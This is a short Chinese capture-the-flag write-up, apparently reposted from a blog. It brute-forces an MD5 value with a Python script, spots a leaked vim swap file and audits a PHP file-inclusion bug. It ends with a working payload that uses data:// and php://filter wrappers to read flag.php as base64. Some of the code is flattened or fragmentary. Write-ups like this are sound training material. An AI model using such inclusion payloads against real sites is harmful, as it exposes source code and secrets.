本文共 1248 字,大约阅读时间需要 4 分钟。
爆破出md5,建议采用python或者php
#coding:utf-8#python3import hashlibimport timet = time.time()l = 'qwertyuiopasdfghjklzxcvbnm'for i in l: for j in l: for k in l: for m in l: for n in l: for o in l: f = 'y' + i + j + k + m + n + o #+ p md5 = hashlib.md5(f.encode(encoding='UTF-8')).hexdigest() if md5[:4] == '9d92' and md5[-4:] == 'b24e': print(f) print(md5) print(time.time()-t)
爆出来的结果都是9d9208a0bda5b582cc5baffd5bf6b24e
,明文是ytxyyds
.
flag.php
然后看到了这个
如果你的字典足够强大,应该能扫描到Login.php.swp
,考点是vim文件泄露
,或者是文件备份
。
接下来就是代码审计。简单还是很简单的,主要就是文件包含漏洞,绕过前两个检测就行,具体分析如下:
".file_get_contents($text,'r')."
"; include($file); //在这里进行文件包含 }?>
想要让file_get_contents($text,'r')
的内容变为YTXyyds
可以采用两种PHP伪协议,一种是php://input
,另一种是data://text
,由于这里过滤了php://input
,所以采用
?text=data://text/plain,YTXyyds
file
的话就很简单了,只是普通的文件读取,用php://filter/read=convert.base64-encode/resource=
就行。总结出payload:
?text=data://text/plain,YTXyyds&file=php://filter/read=convert.base64-encode/resource=flag.php考核的时候动态flag看不到这个flag,以此纪念 /手动示爱 23333333
转载地址:http://uapbi.baihongyu.com/